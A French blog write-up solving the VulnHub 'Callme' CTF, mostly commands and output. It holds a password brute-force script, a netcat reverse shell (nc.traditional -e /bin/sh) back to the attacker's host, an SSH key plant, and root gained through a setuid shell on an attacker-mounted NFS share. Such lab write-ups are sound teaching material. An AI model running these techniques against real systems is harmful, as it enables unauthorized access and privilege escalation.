Accueil Solution du CTF CallMe de VulnHub
Post
Annuler

Solution du CTF CallMe de VulnHub

Je continue sur ma lignée des CTFs conçus par foxlox avec celui-ci : Callme: 1 ~ VulnHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Nmap scan report for 192.168.56.46
Host is up (0.00022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 deb52389bb9fd41ab50453d0b75cb03f (RSA)
|   256 160914eab9fa17e945395e3bb4fd110a (ECDSA)
|_  256 9f665e71b9125ded705a4f5a8d0d65d5 (ED25519)
111/tcp  open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|_  100000  2,3,4        111/udp   rpcbind
2323/tcp open  3d-nfsd?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe, tn3270: 
|     Welcome to foxrecall server
|     username:
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: 
|     Welcome to foxrecall server
|     username: 
|     Password
|     user does not exist
|     username:
|   Help: 
|     Welcome to foxrecall server
|     username: 
|     Password
|   SIPOptions: 
|     Welcome to foxrecall server
|     username: 
|     Password
|     user does not exist
|     username: 
|     Password
|     user does not exist
|     username: 
|     Password
|     user does not exist
|_    bye!

Une présence ambiguë, Une présence inconnue

On a un service inconnu sur le port 2323. Si on se connecte via ncat on remarque que la communication ne va pas aussi loin que ce que Nmap est parvenu à avoir :

1
2
3
4
5
6
$ ncat 192.168.56.46 2323 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.46:2323.
Welcome to foxrecall server
username: 
toto

Ça fonctionne mieux avec telnet, le serveur s’attend donc à avoir des CRLF (\r\n) :

1
2
3
4
5
6
7
8
9
10
11
$ telnet 192.168.56.46 2323 
Trying 192.168.56.46...
Connected to 192.168.56.46.
Escape character is '^]'.
Welcome to foxrecall server
username: 
toto
Password
plop
user does not exist
username:

Avec le nom d’utilisateur admin, on a un comportement différent. L’utilisateur existe, il ne reste qu’à trouver le mot de passe.

J’ai écrit un script Python pour bruteforcer le mot de passe (voir plus bas) qui était booboo mais une fois connecté il donne un nombre (sous la forme de lettres) puis ferme aussitôt la connexion.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ telnet 192.168.56.46 2323 
Trying 192.168.56.46...
Connected to 192.168.56.46.
Escape character is '^]'.
Welcome to foxrecall server
username: 
admin
Password
booboo
THREE THOUSAND EIGHT HUNDRED EIGHTY FIVE 
You are not ready sorry...
bye!
Connection closed by foreign host.

Au vu du nom du challenge, on va lancer rapidement un ncat en écoute sur le port dès qu’on a les information. Pour la conversion des chiffres j’ai eu recours à la librairie Python revdotcom/words2num: Convert words to numbers.

Le code suivant fait le bruteforce + le lancement du listener :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import sys
import socket
import os

from words2num import w2n

sock = socket.socket()
sock.connect(("192.168.56.46", 2323))

def read_until(sock_fd, data):
    while True:
        buff = sock.recv(1024)
        if data in buff.strip():
            break

username = sys.argv[1].encode()
with open(sys.argv[2], "rb") as fd:
    for i, line in enumerate(fd):
        password = line.strip()
        read_until(sock, b"username:")
        sock.send(username + b"\r\n")
        sock.recv(2014)  # Password prompt
        sock.send(password + b"\r\n")
        buff = sock.recv(1024).strip()
        if not buff.startswith(b"Wrong password for user"):
            print(f"password {password.decode()} gave response '{buff.decode()}'")
            port = w2n(buff.decode())
            os.system(f"ncat -v -l -p {port}")
            break

        buff = sock.recv(1024)
        if b"user does not exist" in buff:
            print("No such user")
            break

        if b"bye!" in buff:
            sock.close()
            sock = socket.socket()
            sock.connect(("192.168.56.46", 2323))

        if i % 1000 == 0:
            print("line", i)

Exécution :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ python3 brute.py admin rockyou.txt
line 0
password booboo gave response 'ONE THOUSAND TWO HUNDRED NINETY'
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1290
Ncat: Listening on 0.0.0.0:1290
Ncat: Connection from 192.168.56.46.
Ncat: Connection from 192.168.56.46:42976.
Microsoft Windows 6.1.7601 (4.0)

Z:\home\fox>ls
Can't recognise 'ls' as an internal or external command, or batch script.

Z:\home\fox>dir
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:\home\fox

05/11/2022     14:03  <DIR>         .
14/11/2020     18:09  <DIR>         ..
15/11/2020     11:03  <DIR>         Desktop
15/11/2020     11:03  <DIR>         Documents
15/11/2020     11:03  <DIR>         Downloads
05/11/2022     14:03             0  iphist.dat
15/11/2020     11:03            33  local.txt
15/11/2020     11:03  <DIR>         Music
15/11/2020     11:03  <DIR>         Pictures
15/11/2020     11:03  <DIR>         Public
15/11/2020     11:03           121  startup
15/11/2020     11:03  <DIR>         Templates
15/11/2020     11:03  <DIR>         Videos
       3 files                      154 bytes
      10 directories      3,982,213,120 bytes free
Z:\home\fox>type local.txt
ea2188e08f77470c2c9918ba06f566f7

On est bien dans le home de l’utilisateur fox mais on a visiblement récupéré un shell dans Wine. Le premier signe c’est que l’on sait que l’OS émulé par VirtualBox est un Linux. Le second signe c’est la lettre Z utilisée pour le volume servant de racine Linux qui est spécifique à Wine.

On peut tout à fait utiliser les commandes Windows pour créer le dossier .ssh et placer notre clé publique dans authorized_keys mais il est aussi possible de faire exécuter des commandes Linux depuis Wine. Le seul inconvénient c’est qu’on aura pas l’output.

J’ai remarqué que dans Z:\bin on retrouvait le binaire nc.traditional qui dispose de l’option -e très pratique pour obtenir un shell :

1
Z:\home\fox>start /unix /bin/nc.traditional -e /bin/sh 192.168.56.1 9999

Et sur le ncat que j’ai mis préalablement en écoute :

1
2
3
4
5
6
7
8
9
10
11
$ ncat -l -p 9999 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.56.46.
Ncat: Connection from 192.168.56.46:45438.
id
uid=1001(fox) gid=1001(fox) groups=1001(fox)
mkdir .ssh
cd .ssh
echo ssh-rsa --- snip ma clé publique snip --- > authorized_keys

Une fois connectée par ssh (enfin) je remarque dans les process le programme qui nous a fournit notre porte d’entrée :

fox        984  3.6  2.0 2648776 20776 tty2    Sl+  14:03  14:21 recallserver.exe

Il a été placé dans le system32 du Wine :

1
2
$ find / -name recallserver.exe 2> /dev/null
/home/fox/.wine/drive_c/windows/system32/recallserver.exe

Quand on connait la structure d’un exécutable (différentes sections pour chaque type de données) on sait que les chaines de caractères intégrées par le développeur seront rassemblés à une même endroit.

J’applique donc un strings sur le binaire et fait une recherche sur booboo :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TRILLION
 HUNDRED 
sxhh
sxhh
ZYYd
connected
nc64.exe 
 1234 -e cmd.exe
Welcome to foxrecall server
username: 
login: 
Password
pass: 
tutankamenFERILLI
Wrong password for user fox
admin
booboo
Wrong password for user admin
user does not exist
cmd /c nc.exe 
 -e cmd.exe
You are not ready sorry...
bye!
ZYYd

La chaine tutankamenFERILLI est clairement quelque chose que je n’avais pas vu jusqu’ici.

Il s’avère que c’est le mot de passe de l’utilisateur fox et qu’on peut s’en servir pour une commande sudo :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for fox: 
Matching Defaults entries for fox on callme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fox may run the following commands on callme:
    (root) /usr/sbin/mount.nfs

On est sur un cas classique d’exploitation de NFS : si on met en place un partage NFS qu’on peut monter sur la victime alors on peut placer une backdoor setuid dedans et l’exécuter depuis la victime pour augmenter nos privilèges.

Docker please

Histoire de gagner du temps je me suis servit de ehough/docker-nfs-server: A lightweight, robust, flexible, and containerized NFS server.

Au début c’était mal parti :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ docker run                                            \
>   -v /tmp/jail:/tmp/jail  \
>   -e NFS_EXPORT_0='/tmp/jail                  *(ro,no_subtree_check)' \
>   --cap-add SYS_ADMIN                                 \
>   -p 2049:2049                                        \
>   erichough/nfs-server

==================================================================
      SETTING UP ...
==================================================================
----> building /etc/exports from environment variables
----> collected 1 valid export(s) from NFS_EXPORT_* environment variables
----> kernel module nfs is missing
----> 
----> ERROR: nfs module is not loaded in the Docker host's kernel (try: modprobe nfs)
---->

Il a fallut charger les modules kernel nfs et nfsd puis utiliser plutôt l’option –privileged pour que ça fonctionne :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ docker run -v /tmp/jail:/tmp/jail -e NFS_EXPORT_0='/tmp/jail   *(ro,no_subtree_check)' --privileged -p 2049:2049 erichough/nfs-server
==================================================================
      SETTING UP ...
==================================================================
----> building /etc/exports from environment variables
----> collected 1 valid export(s) from NFS_EXPORT_* environment variables
----> setup complete

==================================================================
      STARTING SERVICES ...
==================================================================
----> starting rpcbind
----> starting exportfs
----> starting rpc.mountd on port 32767
----> starting rpc.statd on port 32765 (outgoing from port 32766)
----> starting rpc.nfsd on port 2049 with 4 server thread(s)
----> all services started normally

==================================================================
      SERVER STARTUP COMPLETE
==================================================================
----> list of enabled NFS protocol versions: 4.2, 4.1, 4, 3
----> list of container exports:
---->   /tmp/jail                  *(ro,no_subtree_check)
----> list of container ports that should be exposed:
---->   111 (TCP and UDP)
---->   2049 (TCP and UDP)
---->   32765 (TCP and UDP)
---->   32767 (TCP and UDP)

==================================================================
      READY AND WAITING FOR NFS CLIENT CONNECTIONS
==================================================================

Le partage est monté en lecture seule (je n’ai pas modifié la config par défaut qui est indiquée dans la ligne de commande) du coup j’ai recopié le /usr/bin/sh de la VM dans le partage via SSH puis j’ai fait le chown root:root puis chmod 4755 qu’il fallait.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo /usr/sbin/mount.nfs 192.168.56.1:/tmp/jail /mnt
$ cd /mnt
$ ls -al
total 124
drwxr-xr-x  1 ppp  users      4 Nov  5 20:56 .
drwxr-xr-x 18 root root    4096 Nov 15  2020 ..
-rwsr-xr-x  1 root root  121464 Nov  5 20:56 sh
$ ./sh -p
# id
uid=1001(fox) gid=1001(fox) euid=0(root) groups=1001(fox)
# cd /root
# ls
proof.txt
# cat proof.txt
e2178ca6963e4ce1d88a10ec030097ff

Un CTF fort sympathique avec un peu de développement et la découverte de nouveaux outils.

Cet article est sous licence CC BY 4.0 par l'auteur.